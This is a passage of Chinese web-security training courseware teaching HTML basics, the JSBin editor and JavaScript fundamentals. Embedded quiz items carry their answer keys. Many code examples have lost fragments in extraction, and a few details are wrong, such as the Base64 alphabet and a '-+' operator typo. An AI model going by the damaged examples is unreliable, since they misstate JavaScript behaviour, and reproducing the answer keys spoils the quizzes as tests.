问:经常有人会问,如果选择从事有关Web安全的工作,是否需要转到相关专业进行学习? 答:我认为你的专业不应该成为你未来规划的牢笼,而是应该通过四年一整套专业的学习训练,让你习得一种看世界的角度和思维。web安全是一个很小的分支,工作后有个好的环境或者是有个很好的指导会让你上手很快,web安全它只是一种探索Web的方式而已。

问:现在有些人觉得web安全的投入产出比有点低,学不动怎么办? 感觉搞出来的东西又会被很快补掉。 答:挖漏洞应该是一件快乐的事情,当你挖漏洞目的不是单纯的挣钱和提升声望时,你会发现收益的重要性可能远小于心情愉快。让单纯地挖洞慢慢的变成一种良性循环,让你走的更远。


法律声明




(该课件仅用于信息防御技术教学 请勿用于其他用途)

web安全与HTML的关系


https://assets.course.twosecurity.io/9f39cd842f036eca0f383d3ac0bdadcb/audio/%E9%9F%B3%E9%A2%91%201.mp4
大家好,今天我们对HTML基础课程进行学习。首先要讲一下Web安全与HTML的关系,在我们学习Web安全的过程中常常会与HTML也就是我们所说的网页打交道。除了前端安全之外,各种漏洞的利用脚本也需要经常用到它。
不属于Web安全的是哪一项?|Web服务器的安全|浏览器的安全|!浏览本地文件安全|两者之间的通信安全

什么是HTML

HTML:超文本标记语言


https://assets.course.twosecurity.io/9f39cd842f036eca0f383d3ac0bdadcb/audio/%E9%9F%B3%E9%A2%91%202.mp4
那么HTML究竟是什么呢?HTML是一种用来制作超文本文档的简单标记语言。所谓超文本,是因为它不仅是可以加入文字的文本文件,还可以加入链接、图片、声音、动画、影视等内容的文本文件。我们浏览网页的时候会看到丰富的影像、文字以及图片内容,这些内容通过HTML呈现在我们面前。HTML文档被用作万维网的信息表达语言,它能够独立于各种操作系统平台,所以网站软件开发人员常会涉及HTML语言。
https://assets.course.twosecurity.io/9f39cd842f036eca0f383d3ac0bdadcb/audio/%E9%9F%B3%E9%A2%91%203.mp4
使用HTML语言描述的文件,通常需要通过Web浏览器显示出效果。http协议的制定使浏览器在制定超文本时有了统一的规则和标准。
https://assets.course.twosecurity.io/9f39cd842f036eca0f383d3ac0bdadcb/audio/%E9%9F%B3%E9%A2%91%204.mp4
标记语言则会在纯文本文件里加入HTML指令代码,这些指令代码并不是什么程序语言,只是排版网页中显示位置的标记结构语言,非常易懂。在HTML中每个用来作为标签的符号都是一条命令,它会告诉浏览器如何显示文本,这些标签由尖括号以及一个字符串组成,而浏览器的功能则是对这些标记进行解释,然后显示出文字、图像、动画以及播放声音。
http://code.twosecurity.xyz/

https://assets.course.twosecurity.io/9f39cd842f036eca0f383d3ac0bdadcb/audio/%E9%9F%B3%E9%A2%91%205.mp4
html文件通常使用".htm"或者".html"作为文件扩展名,使用".html"是比较安全的做法,在最开始呢,我们将会使用phpcode.twosecurity.io在线进行练习。
下面关于HTML说法正确的是( )|低级语言|高级语言|!是一种页面描述语言|是一种程序设计语言

有关HTML的说法中,以下正确的是()|!HTML是一个纯文件文件|HTML是一个可执行的文件|HTML文件必须用专门的文本编辑器创建|HTML文件的扩展名只能是.html

HTML在web开发中的常见用法


前端界面

https://assets.course.twosecurity.io/9f39cd842f036eca0f383d3ac0bdadcb/audio/%E9%9F%B3%E9%A2%91%206.mp4|https://assets.course.twosecurity.io/assets/de64a01c-fc96-4ea5-8138-26dbcbe1126b.png

https://assets.course.twosecurity.io/9f39cd842f036eca0f383d3ac0bdadcb/audio/%E9%9F%B3%E9%A2%91%206.mp4
那么HTML在Web开发中究竟用于做什么呢?首先是前端页面,html可以用于前端的页面,我们浏览的很多网页都是经过html设计的,可以包含图片、链接,甚至包含音乐、程序等元素,同时可以使网页更加的美观。
表单提交

Submit type
type=Submit Submit是专门用于提交表单的Button




https://assets.course.twosecurity.io/9f39cd842f036eca0f383d3ac0bdadcb/audio/%E9%9F%B3%E9%A2%91%207.mp4
其次呢是表单提交,关于表单提取我们也有一些方法,最常用的方法就是用submit type。另外,我们还有一种常用的方法是使用图片。
链接导航



https://assets.course.twosecurity.io/9f39cd842f036eca0f383d3ac0bdadcb/audio/%E9%9F%B3%E9%A2%91%208.mp4
HTML在链接导航功能方面也非常的出色,只需要几个链接就能轻易地在几个页面进行交替了。
展示图文



https://assets.course.twosecurity.io/9f39cd842f036eca0f383d3ac0bdadcb/audio/%E9%9F%B3%E9%A2%91%209.mp4
为了让界面更加的漂亮美观,HTML也可以用来展示许多的图片或者视频等。在一些展示类的页面加入图片、视频等可以使浏览者充分的了解其功能需求。
关于head结构中的内容
|描述网页属性= |插入脚本语句=

客户端脚本: 当客户端通过客户浏览器发送HTTP请求时,web服务器将HTML文档部分和脚本部分返回给客户端浏览器,在客户端浏览器中解释执行并及时更新页面,脚本处理工作全部在客户端浏览器执行完成。

MIME类型: MIME (Multipurpose Internet Mail Extensions) 是描述消息内容类型的因特网标准。MIME 消息能包含文本、图像、音频 、视频以及其他应用程序专用的数据。


https://assets.course.twosecurity.io/9f39cd842f036eca0f383d3ac0bdadcb/audio/%E9%9F%B3%E9%A2%91%2012.mp4
script标签用于定义客户端脚本,比如JavaScript,它常使用在图像操作、表单验证和动态内容更新。script元素不仅包含脚本语句,也能够通过 src 属性指向外部脚本文件。其必需的 type 属性规定脚本的 MIME 类型。
HTML iframe 标签示例

HTMLHTML教程





https://assets.course.twosecurity.io/9f39cd842f036eca0f383d3ac0bdadcb/audio/%E9%9F%B3%E9%A2%91%2013.mp4
iframe标签是HTML中一个非常重要的标签,也是Web安全中出镜频率最高的标签之一,很多网站都通过iframe嵌入第三方内容,比如,嵌入广告页面。作用于一个文档中包含的文档或浮动的框架——即可以把iframe解释成"浏览器中的浏览器"。
锚点

又叫命名标记。命名锚记像一个迅速定位器一样,是一种页面内的超级链接,运用相当普遍。


以绝对URL指定链接文件的位置
在新窗口中打开以相对URL指定的文件位置
图像链接
链接到当前页面的锚点位置
链接到其他页面中锚点位置



https://assets.course.twosecurity.io/9f39cd842f036eca0f383d3ac0bdadcb/audio/%E9%9F%B3%E9%A2%91%2014.mp4
a标记可以定义锚点和超链接。Web上的网页都是相互连接的,点击超链接就可以链接到其他页面。超链接除了可以连接文本之外,也可以链接各种媒体,比如音频、图像、动画,通过这样的方式我们可以享受丰富多彩的多媒体世界。链接文档中的特定位置也叫做锚点,我们可以通过锚点的链接来浏览页面里感兴趣的部分,或者在页面顶部或尾部的跳转。
这是Twosecurity图标



https://assets.course.twosecurity.io/9f39cd842f036eca0f383d3ac0bdadcb/audio/%E9%9F%B3%E9%A2%91%2015.mp4
img标签可以在浏览器中显示一张图片。
下列哪一项表示的不是按钮|A.type="submit"|B.type="reset"|!C.type="image"|D.type="button"

学习使用在线的HTML工具:JSBin


http://jsbin.com/

https://assets.course.twosecurity.io/9f39cd842f036eca0f383d3ac0bdadcb/audio/%E9%9F%B3%E9%A2%91%2016.mp4
接下来我们来练习使用一下JSbin来制作自己的网页,我们使用二向箔在线的练习平台练习了HTML的编写方式后,现在我们使用一款在线的网页分享服务:JSBIN。
https://assets.course.twosecurity.io/9f39cd842f036eca0f383d3ac0bdadcb/audio/%E9%9F%B3%E9%A2%91%2017.mp4
我们可以利用JSBin提供的线上环境,直接编辑制作一个自己的网页,对各种前端技巧进行分享,测试与调错等。很多与前端有关的东西如HTML5、CSS3、JavaScript都可以在这里得到利用,并通过一个唯一的JS BIN网址分享出去。

注解: 地址栏中jsbin.com后面的地方就是你的Bin ID,edit的位置則是目前的显示模式,edit 代表「编辑」模式










https://assets.course.twosecurity.io/9f39cd842f036eca0f383d3ac0bdadcb/audio/%E9%9F%B3%E9%A2%91%2018.mp4
我们先登陆网站,我们现在看到网址栏没有任何特殊的地方,只要你输入任意字元在任意编辑器窗格里,你就会发现网址栏发生了变化,我们以编辑html为例。如图所示,地址栏中jsbin.com后面的地方就是你的Bin ID,edit的位置則是目前的显示模式,edit代表「编辑」模式。一般的情況下,你输入的HTML /CSS /JavaScript都会立刻反映到右边的Output窗格。




https://assets.course.twosecurity.io/9f39cd842f036eca0f383d3ac0bdadcb/audio/%E9%9F%B3%E9%A2%91%2019.mp4
在JSBin的主选单里也有很多操作,点击File,我们可以看到菜单里有很多选项,在这里可以新建,删除一个网页等。

注解: Add library 插入前端库 例如 jQuery、jQuery UI、jQuery Mobile、Bootstrap、YUI、AngularJS、Kendo UI、Backbone、Modernizr等等






https://assets.course.twosecurity.io/9f39cd842f036eca0f383d3ac0bdadcb/audio/%E9%9F%B3%E9%A2%91%2020.mp4
Add library是插入前端库,点击这个按钮可以方便地替你的 HTML 插入一些常用的外部资源,例如jQuery、jQuery UI、jQuery Mobile、Bootstrap、YUI、AngularJS、Kendo UI、Backbone、Modernizr等等,算是个方便的小工具。
HTML编辑窗格





https://assets.course.twosecurity.io/9f39cd842f036eca0f383d3ac0bdadcb/audio/%E9%9F%B3%E9%A2%91%2022.mp4
首先说到HTML编辑器窗格,这个编辑器窗格对语法有高亮显示,比较可惜的是还是沒有 Intellisense 或自动完成功能,不过却有支援 Emmet(Zen Coding)编写方法,除此之外,还可以切換不同的撰写语法,最后点击Convert to HTML即可自动转换成 HTML 格式。
https://assets.course.twosecurity.io/9f39cd842f036eca0f383d3ac0bdadcb/audio/%E9%9F%B3%E9%A2%91%2023.mp4
还有很多别的编辑器窗格,比如CSS 编辑器窗格、JavaScript 编辑器窗格、Console 主控台窗格等就不再详细介绍了有兴趣的同学可以自己去查看。
Output输出窗格



https://assets.course.twosecurity.io/9f39cd842f036eca0f383d3ac0bdadcb/audio/%E9%9F%B3%E9%A2%91%2024.mp4
下面是Output输出窗格,这个窗格主要用途是输出最终 HTML / CSS / JavaScript 組合后的执行成果,预设的情況下,Auto-run JS 选项是被勾选的,代表你在 JavaScript 编辑器打字的时候,他会不断地重新整理 Output 窗格中的网页,有時候这个选项会导致浏览器出错,如果你有遇到浏览器不稳定的情況,建议取消勾选此项目。勾选之后,如果要执行修改后的JS,你就必须按下 Run with JS 才会真正执行新版的JavaScript程式。




https://assets.course.twosecurity.io/9f39cd842f036eca0f383d3ac0bdadcb/audio/%E9%9F%B3%E9%A2%91%2025.mp4
当我们编辑好自己的网页想要分享出去应该怎么做呢?最右边的 Live preview 箭头,则是把网页开启到一个全新视窗,这时你会发现网址会有一点不一样,也就是 edit 这部分不见了,也代表你可以拿这个网址分享给其他人,让对方看看网页执行的结果,或直接跟网页上设定的互动功能进行比较完整的互动,不受到 JS Bin 编辑窗格的影响。
https://assets.course.twosecurity.io/9f39cd842f036eca0f383d3ac0bdadcb/audio/%E9%9F%B3%E9%A2%91%2026.mp4
把这个网址分享给对方,对方打开该网页,然后你同时可以继续编辑修改这个Bin 的任何内容,在对方的浏览器上会看到你编辑修改的内容,所以也称之为「广播」功能,非常适合线上教学或远距离教学使用。
https://assets.course.twosecurity.io/9f39cd842f036eca0f383d3ac0bdadcb/audio/123.m4a
当我们新增了内容后,对方也会实时看到修改的内容。
在HTML中,文字的大小是由标记中的___属性来控制的|normal|font-weight|!size|head

结束


https://assets.course.twosecurity.io/9f39cd842f036eca0f383d3ac0bdadcb/audio/%E9%9F%B3%E9%A2%91%2028.mp4
本次的学习到这里也告一段落,希望大家能够有所收获。
http://www.w3school.com.cn/tags/index.asp

法律声明




(该课件仅用于信息防御技术教学 请勿用于其他用途)

基础语法


语句和表达式
Javascript程序的执行单位为行,一般情况下,每一行都是一条语句,执行的顺序也是按照一行一行的执行。语句视为了完成某个任务而进行的操作。
var a;

3 * 7
语句和表达式的区别主要在于表达式是为了达到返回值,而语句是为了执行某项操作。语句以分号结尾,表达式不需要分号结尾。
var a; //语句 3 * 7 //表达式
分号在Javascript中是可选的,但是建议语句总以分号结尾,因为Javascript引擎可能猜错语句的结尾。
注释
Javascript有两种注释,一种是单行注释,一种是多行注释,单行注释以//开始后面截止这行为止都为注释部分,多行注释是以/*开始到*/结束,中间所有的内容均为注释。
// 这是单行注释 /* 这是 多 行 注释 */
由于历史上JavaScript可以兼容HTML代码的注释,所以也被视为合法的单行注释。
var a;

标识符
标识符是在Jacascript中扮演各种语法的名称,比如变量的名称、函数的名称、属性的名称、参数等。标识符是区分大小写的,也就是说 a≠A。 标识符的定义范围可以是任何Unicode字符,但是第一个字符只能是Unicode字母、下划线_、美元符号$开头。如果是用其他字符开头,比如数字,Javascript引擎将会抛出错误。
var a_1; //定义一个以字母开头的变量 var 1_a; // 报错 //Uncaught SyntaxError:Invalid or unexpected token

变量
变量是对值的引用,而变量名就是为了给这个引用起的名字,而为变量取名字的过程叫做 声明变量 ,下面的代码中就相当于定义了一个名为a的变量,然后把值1引用给变量,而给变量引用值的时候叫做变量赋值 。
var a; a=1; //或者 var a=1;

var a,b,c;
Javascript是一种动态类型的语言,变量的类型是没有限制的,也不需要提前声明变量是什么类型的,变量也可以随时更改类型,比如下面的变量先赋值了字符串,然后在赋值数值。
var a = 'hello'; a = 1; a // 1

变量的类别
一共有两种变量,分别为全局变量和局部变量,局部变量只能在定义变量的局部才能访问,全局变量是任何程序内都可以访问的变量,变量能访问的范围称为作用域,而两种创建的方式是带声明关键字var和不带声明关键字var。
function a(){ var a_value = 1; } a(); //执行函数a a_value //无法访问局部变量,只能在a函数内进行范围 //Uncaught ReferenceError:a_value is not defined

function a(){ a_value = 1; } a(); //执行函数a a_value //1

变量提升
变量还存在变量提升,Javascript引擎会先解析代码,获取所有被声明的变量,然后再一行一行的运行,这个就意味着,声明变量之前访问该变量是可以访问的也不会报错,但是该变量只是被先声明了,但并没有赋值。
a var a = 1;

JavaScript是运行在()的脚本语言|服务器端|!客户端|在服务端运行后,把结果返回到客户端|在客户端运行后,把结果返回到服务端

基础逻辑控制语句


条件语句
JavaScript中提供了if和switch结构对条件进行判断,只有满足了条件过后,即条件最终的结果转换位True,才会执行相应的代码。
if (布尔值) { 语句; }

备注:if结构的省略 如果if结构只有一条语句是可以省掉{}大括号的,但是在语法的表达情况下,建议总使用大括号。


if..else
if结构支持一个else块,当不满足if条件的时候就会执行else块的代码
if(myvar === 0){ myvar += 1; } else { myvar -= 1; }

if..else
除此之外if结构支持一个或者多个else..if块,当不满足if结构条件的时候就会继续对下一个else..if块的条件进行判断,直到没有else..if块,则执行else块。
if(myvar === 0){ myvar += 1; } else if (myvar === 1){ myvar += 1; } else if (myvar === 2){ myvar -+ 1; } else { myvar -+ 1; }

switch执行多次判断
如果需要多次这样的判断可以使用switch,如果前面几个case代码块都没有满足条件就会执行default代码块。
//用switch结构替换if结构 var myvar = 0; switch (myvar) { case 0: myvar += 1; break; case 1: myvar += 1; break; case 2: myvar -= 1; break; default: myvar -= 1; } myvar // 1

break的作用
上面的switch的每个case代码块在最后都放了一个break语句,break语句是跳出switch结构,如果没有设置break语句,会把每一个case代码块都执行一遍。
循环语句
JavaScript提供了几种基础的循环结构,循环主要为了重复执行某些操作,这些循环分别有for、while、do...while循环。
for循环
for循环有是三个可选表达式,每个表达式用分号隔开,执行语句包含在大括号内,如果只有一条语句可以省略大括号,但是不建议这样做。
for (初始化表达式; 条件表达式; 执行表达式) { 语句; } // 或者 for (初始化表达式; 条件表达式; 执行表达式) 语句;
第一个为初始化表达,整个循环只会执行一次,一般初始化表达式用于初始化循环体用的变量,第二个为条件表达式,每次开始循环前都会对条件表达式进行判断,如果为true就继续执行,如果为false则停止执行循环,第三个执行表达式在每次执行完整个循环体的语句后,都会执行一次执行表达式,执行表达式一般用于对初始化的值进行自增自减这类的操作。
for (var a = 5; a !== 0; a -= 1) { console.log(a) // 打印出a的值分别为 5 4 3 2 1 }

while循环
while循环会在指定条件为真时循环执行代码块。
var a = 5; while (a !== 0) { console.log(a); // 打印出a的值分别为 5 4 3 2 1 a -= 1; }

do...while结构
do...while结构和while结构类似,区别在于do...while结构是先执行后判断,而while结构是先判断后执行。
do { 语句; } while (条件); // 或者 do 语句; while (条件);

循环控制
JavaScript提供了两种用于控制循环执行的语句,分别为continue和break语句,这两种语句都可以控制循环结构的执行顺序。 continue语句的作用是终止本轮循环,然后继续执行下一次循环。 break语句用于终止跳出循环,即跳出包裹它的循环,如果它被被两层循环包裹,就跳出离它最近的循环。
var a = 5; while (a !== 0) { a -= 1; if(a === 2){ continue; } console.log(a); } // 输出的值分别为:4 3 1 0

注解: 上面的代码首先声明了一个变量并赋值为5,然后用于循环判断a不等于0,如果当a等于0就停止循环,循环体内的代码首先每次执行会对变量a进行减1,然后有一个if条件结构,判断a是否等于2,如果等于2就终止当前循环,继续执行下一个循环。 因为上面的循环体内第一段代码是对变量a减1,所以第一次循环的时候会减去1,输出就是从4开始,循环体内的代码判断a等于2就跳过,所以输出的结果就不会包含2。


var a = 5; while (a !== 0) { a -= 1; if(a === 2){ break; } console.log(a); } // 输出的值分别为:4 3

标签
Javascript允许语句前面有标签label,标签相当于定位符,可以配合语句进行跳转,跳转的不止是循环,也可以是代码块等。
var a = 5; top: while (a !== 0) { a -= 1; if(a === 3){ break top; } console.log(a); } console.log('循环结束'); // 输出的值分别为:4和循环结束

公园里有一只猴子和一堆桃子,猴子每天吃掉桃子总数的一半,把剩下一半中扔掉一个坏的。到第七天的时候,猴子睁开眼发现只剩下一个桃子。问公园里刚开始有多少个桃子?var n = 1;for(var i = 6;i>=1;i--){ n=2*(n+1);}alert(n);|180|188|!190|192

数据类型


介绍
Javascript中数据类型分为两种类型的值,分别为原始值和对象,其中原始值可以称为不可变值。对象类型又被称为集合类型或者引用类型,可以包含所有类型的值。
原始数据类型

- 数值number:如整数3和分数3.1 字符串string:由0或者多个字符组合,比如javascript 布尔值boolean:表示真和假的两个值,这个类型只有两种值,即true和false,表示真假 undefined:表示未定义和没有价值的意思,当定义了一个变量但是为赋值的时候,这个变量的值就等于undefined表示没有价值 null:表示一个空对象,或者空值。

undefined和null的区分

注解: 上面五种类型中的undefined和null区分有一点难度,但是通过函数来区分这两个值,下面print_var函数,需要两个参数分别为a和b,调用这个参数的只传入null表示这是一个空值,然后输出的结果中可以看见,只传入了一个参数,而另外一个参数默认为undefined表示未定义。


function print_var(a, b){ console.log(a); console.log(b); } print_var(null); // null // undefined // undefined 这里的一个undefined是如果函数没有返回值就会自动返回一个

对象类型
对象类型又被称为集合类型或者引用类型,因为对象类型可以包含所有类型的值,原始值或者对象类型都可以包含,这里的对象类型实际上是一种统称,在Javascript中对象类型分为三种,分别为:
- 对象object 数组array 函数function
《JavaScript语言精辟》这本书里面提到这三种类型的定义: 数组是对象,函数是对象,正则表达式也是对象,当然,对象也是对象。 所以可以将对象类型看作一种定义,而上面这些对象都是属于对象类型。
字符串
字符串是由0或者多个字符连以起的字符,比如'javascript',字符串放在单引号和双引号之中
'javascript' //单引号字符串 "javascript" //双引号字符串

用\符号进行转义
同时在单引号中用双引号和双引号中用单引号都是没有问题的,如果必须要在单引号中用单引号或者双引号中用双引号,可以通过在引号前面用\符号进行转义。
'java"scr\'ipt' // java"scr'ipt

注意:关于引号的使用规范 由于HTML属性值使用的是双引号,再加上很多项目都规定使用单引号,所以建议使用单引号,当然使用双引号也可以,但请不要在代码中使用单引号的同时又在使用双引号。

创建字符串
创建字符串有两种方式,分别为字面量和构造函数。 'hello':字面量 new String('hello'):构造函数 常用的都是通过字面量来进行定义,但是这里需要注意的是通过构造函数返回的字符串是一个对象,即一种字符串对象,这样的字符串对象可以当字符串原始值使用,但是它不是一个原始值,而是一个对象值。
var a = 'hello'; typeof a // string var b = new String('hello'); typeof b // object

访问字符串
字符串的访问可以通过
方括号访问,这是一种类数组的访问方式,如果当访问的数量大于所有的字符长度,将会返回undefined。
var a = 'javascript'; a
// j a
// a a
//不支持倒数访问

获取字符串长度
从上面的情况来看,如果不知道一个字符串的长度该怎么办?Javascript提供了一个字符串属性length判断字符串的长度,而这个属性的值减去1,就得到用方括号访问字符串的最大数。
var a = 'javascript'; a.length // 10 a
//t a
//undefined

字符串的编码
在字符串的内部还有一部分义的转移字符,除了普通的可打印字符以外,一些特殊有特殊功能的字符可以通过转义字符的形式放入字符串,转义字符需要用\进行转义,比如\n代表换行符,如果把下列的这些字符通过转义后都会变成特殊的字符,下面的列表中列出来部分转义字符。 (转义字符)
转义字符|含义|Unicode \0|null|\u0000 \b|后退键|\u0008 \f|换页符|\u000C \n|换行符|\u000A \r|回车键|\u000D \t|制表符|\u0009 \v|垂直制表符|\u000B '|单引号|\u0027 "|双引号|\u0022 \ |反斜杠|\u005C

Base64编码
Javascript原生提供了一种Base64的编码解码,Base64编码是可以将任意值转成为0~9、A~Z、a~z、+、-这个64个字符组成的可打印字符,这个编码的主要目的不是为了加密,而是为了不让特殊字符出现。 Javascript提供了两种方法对其进行编码和解码,分别为btoa用于编码和atob用于解码。
btoa('javascript') //"amF2YXNjcmlwdA==" atob('amF2YXNjcmlwdA==') //"javascript"

URI编码
Javascript中为URI编码提供了两种方法encodeURIComponent用于编码和decodeURIComponent用于解码,而这连个方法使用的URI编码可以将其utf-8的字符编码为ASCII编码支持的范围内,我们可以结合上面的btoa和atob两个方法。
encodeURIComponent('你好') //"%E4%BD%A0%E5%A5%BD" decodeURIComponent('%E4%BD%A0%E5%A5%BD') //你好 btoa(encodeURIComponent('你好')) //"JUU0JUJEJUEwJUU1JUE1JUJE" //将中文字符的utf8编码转换为ASCII支持的字符,然后在转换为Base64编码 decodeURIComponent(atob('JUU0JUJEJUEwJUU1JUE1JUJE')) //你好 //将中文字符的Base64编码通过转换成原始字符

数值
Javascript内部所有的数值都是以双精确度64位浮点数进行储存的,这也就是说Javascript的底层是没有整数的,所以整数和浮点数在Javascript中是相等。
1 === 1.0 // true 3 === 3.0 // true

创建数值
创建数值有两种方式,分别为字面量和构造函数 123:字面量 new Number(123):构造函数 常用的都是通过字面量来进行定义,但是这里需要注意的是通过构造函数返回的数值是一个对象,即一种数值对象,这样的数值对象可以当数值原始值使用,但是它不是一个原始值,而是一个对象值。
var a = 123; typeof a // number var b = new Number(123); typeof b // object

数值的表示方法
Javascript中的数值表示方法有很多种,比如常用的十进制和其他进制以及科学记数法。
13 //十进制字面形式 0xFF // 255 2e1 // 20

进制表示
Javascript提供了四种进制的表达方法,都可以用来表示数值分别为:
- 十进制:没有前导0的数值。 八进制:有前缀0o或0O的数值,或者有前导0、且只用到0-7的八个阿拉伯数字的数值。 十六进制:有前缀0x或0X的数值。 二进制:有前缀0b或0B的数值。

特殊值
JavaScript有几个特殊的数字值:
- 两个错误值:NaN和Infinity,这个两个特殊值都是number类型。 两个零:+0和-0,这个原因在前面的章节数值精确度那里已经说明了。
NaN(Not a Number)是一个特殊的错误值,属于number类型,NaN表示不是一个数值,一般由以下几种操作的时候会返回NaN:
- 无法解析为数字:如Number('javascript') 操作失败:如Math.acos(2) 其中一个数为NaN的运算:如NaN + 1

lnfinity
lnfinity错误值表示正无穷,如果超出上面章节所说的$2^1024$至$2^-1023$这个范围,就会返回Infinity,既然IEEE 754标准规定的64位双精准浮点数有一位是表示正负之分的,那么Infinity也有正负之分,Infinity表示正无穷,而-Infinity表示负无穷 lnfinity大于一切数值(除了NaN),-lnfinity小于一切数值(除了NaN)。
//lnfinity大于一切数值(除了NaN),-lnfinity小于一切数值(除了NaN)。 Infinity > 1000 // true -Infinity < -1000 // true //Infinity与NaN比较,总是返回false。 Infinity > NaN // false -Infinity > NaN // false Infinity < NaN // false -Infinity < NaN // false

全局函数isFinite
此外,全局函数isFinite允许检查值是否是实际数字(既不是Infinity的也不是NaN):
isFinite(5) //true isFinite(Infinity) //false isFinite(NaN) //false

布尔值(Boolean)

介绍
表示真和假的两个值,这个类型只有两种值,即true和false,表示真假,下列的运算符会返回布尔值: · 前置逻辑运算符:!(NOT) · 相等运算符:===、!==、==、!= · 比较运算符:>、>=、<、<= Javascript某个运算的预期位置的值应该是布尔值,那么Javascript会自动转为布尔值,下列中的值都会转换为false,其他的任何值会被转换为true。 · undefined · null · false · 0 · NaN · ""或''(空字符串) 包括空数组
和空对象{}都会被转换为true,因为按照对象结构来说,即使是内部没有值,但这个对象确实存在的,所以它们被转换为true
创建布尔值
创建布尔值有两种方式,分别为字面量和构造函数 false:字面量 new Boolean(false):构造函数 常用的都是通过字面量来进行定义,但是这里需要注意的是通过构造函数返回的布尔值是一个对象,即一种布尔值对象,这样的布尔值对象可以当布尔值原始值使用,但是它不是一个原始值,而是一个对象值。
var a = false; typeof a // boolean var b = new Boolean(false); typeof b // object

undefined 和 null
1995年Javascript诞生的时候,只设计了null表示无,根据C语言的传统,null可以转换为0,因为Javascript也是参照了C语言,所以在javascript中,null也是可以转换为0。
Number(null) //0 2 + null // 2

undefined
undefined表示未定义和没有价值的意思,当定义了一个变量但是为赋值的时候,这个变量的值就等于undefined表示没有价值,undefined转换为数值为NaN。
Number(undefined) //NaN 1 + undefined //NaN

判断数据类型
|var num = 100;=Number类型 |var lang = "java";=String类型 |true和false=Boolean类型 |var a = undefined;=Undefined类型 |var b = null=Null类型 |var c = new Object();=Object类型

对象

Javascript的基本类型有数值Number、字符串String、布尔值Boolean、null、undefined五种类型,其他的值都是对象,就如《JavaScript语言精辟》这本书里面提到的定义:数组是对象,函数是对象,正则表达式也是对象,当然,对象也是对象。 Javascript中的对象是属于无类型的,意思是无限制的,如对象里面放对象,对象里面放数组、函数等,除此之外,Javascript对象还包含一种原型链的特性,允许对象继承另一个对象的属性。
对象表达式:通过`{}`大括号直接可以创建一个空对象 构造函数:`Object`构造函数为给定值创建一个对象包装器。如果给定值是 `null `或 `undefined`以及空,将会创建并返回一个空对象,否则,将返回一个与给定值对应类型的对象。

键名
Javascript对象是一种键值对的无序数据结构,对象的每个键值对之间用逗号,分隔,每个属性与值之间用分号:分隔,最后一个键值对可以加逗号也可以不加逗号,对象的所有键名都是字符串。
var a = {}; //初始化一个变量a并赋值一个空对象 var a = { language : 'javascript' //初始化一个变量a,并赋值一个对象,对象里面含一个键名为language的属性 };
所有的字符都会被转换为字符串,包括数值
var a = { 1: 1, 2: 2 }; a // {1:1, 2:2} 实际上健名都是字符串
Javascript中的对象是属于无类型的,意思是无限制的,如对象里面放对象,对象里面放数组、函数等,对象里面将键值对分为两类:
- 属性:值可以为任何的数据类型(除函数) 方法:值为一个函数

var a = { 'language': 'javascript', 'get': function(){ return 'get' } }; // 其中的language为属性,get为方法。

读取对象

读取对象
需要访问、读取变量有两个方法,一种是通过方括号
运算符,使用方括号
运算符需要将字符串用引号包裹,如果不包裹的话,Javascript引擎会将该字符认为是变量,然后再用变量的值来访问对象。 如果是数值,方括号
运算符将会自动转换为字符串,实际上给数值将引号和不加引号是相等的。
var a = { 'language': 'javascript', '2': 2 }; a
// javascript a
// 2 a
// 2 a
=== a
//true var b = 'language'; a
//javascript

属性赋值
如果要对一个属性进行赋值,如果都在避免了标识符的规则下,有三个方式,分别为初始化赋值、方括号
运算符赋值、点.运算符赋值。
var a = { 'num': 1 //初始化赋值 }; //点运算符赋值 a.num //1 a.num = 2; a.num // 2 a
// 2 由上面的点运算符修改后 a
= 3; a
// 3

对象的引用
一个变量的值是对象的话可以称为这个变量引用了这个对象,那么多个变量都引用这个对象,那么它们都是相等的
var a = {}; var b = a; a === b // true
既然是引用的同一个对象,那么当其中一个引用该对象的变量更改了这个对象,也会影响到所有引用该对象的变量
var a = {}; var b = a; b // {} a.num = 1; b // {num: 1}
变量中存储的原始值和对象本质是一样的,都是值,但是如果存储的是原始值实际上这个变量内部就是原始值,如数值1,布尔值true等。 但如果变量中存储的是对象,可以想象为是存储的值为一个内存地址,这个内容地址指向的是一个对象,所以如果多个变量之间都是这个内存地址,那么多个变量都是指向的同一个对象,如果对其中的一个变量的值进行重新赋值,那么实际上你修改的是变量中存储的内存地址而并不影响这个对象,但如果你通过方括号
运算符赋值、点.运算符赋值,实际上是对这个变量值中内存地址指向的对象进行赋值,所以影响的是所有指向这个对象的变量。
关于以下 JavaScript 代码说法正确的是for(var i=0;i<5;i++) { setTimeout(function(){ console.log(i); },1000)}|!setTimeout是异步运行|i每隔一秒累计加一次|这段代码不会终止|输出结果为0,1,2,3,4

数组


数组的介绍
数组是按次序排列的一组值,用方括号包裹所有值,每个值都有一个编号,编号从0开始,JavaScript 使用一个32位整数,保存数组的元素个数。 下面的代码用数组表达式创建了一个数组,其中的值为1-5,编号从0-4。
var arr =
;

创建数组
创建数组的方式有两种:
通过数组表达式:通过
方括号直接可以创建一个空数组 通过构造函数:通过Array构造函数创建一个数组,Array构造函数接受多个参数,这些参数会将作为新数组的每一个值。如果没有参数则返回一个空数组,即一个值都没有。如果只有一个参数,这个参数的值代表创建有多少个值的数组,每个值都为空。

var a =
; //通过数组表达式创建了一个空数组 var a = new Array(); //通过构造函数创建了一个空数组 var a = new Array(5); //
//通过构造函数创建了有5个空值的数组 var a = new Array(1, 2, 3); //通过构造函数创建了有三个值的数组,值分别为1, 2, 3

数组Array
数组Array是一个特殊的对象,typeof操作符返回的也是object类型,因为数组的编号是从0访问的,这个编号也可以认为是属性,所以如果要访问数组的值只能通过方括号
访问。 数组是一个特殊的对象,通过方括号进行访问,如果是能转换为数值并且在正确的表示范围内就是访问的数组的数据结构数据,如果不能够转换,比如超过了数值的最大表示范围就会自动转换为字符串而访问属性、方法。
var arr =
; arr
//1 arr
//1 arr
=== arr
//true 字符串0和数值0表示的都是同一个值arr
= 'b'; //设置超出数值的表示范围 arr
// "b" //会将超出数值范围的值转换为字符串

数组Array
既然数组也是对象,那么Object.keys方法也可以来查看数组有哪些属性,这里返回的是数组的索引加属性。 数组中的length属性可以查询数组中含有多少个值。
var arr =
; arr.language = 'javascript'; Object.keys(arr); //
arr.length // 5

查询遍历
数组同样支持for...in,但是这个遍历还是基于键名,如果是数组相当于返回的索引值,比如下面的数组有五个成员,那么就有五个键,为0-4,并且for...in还会返回可遍历的属性或者方法
var arr =
; arr
= 'javascript'; for (var i in arr){ console.log(i) } // 0 1 2 3 4 language

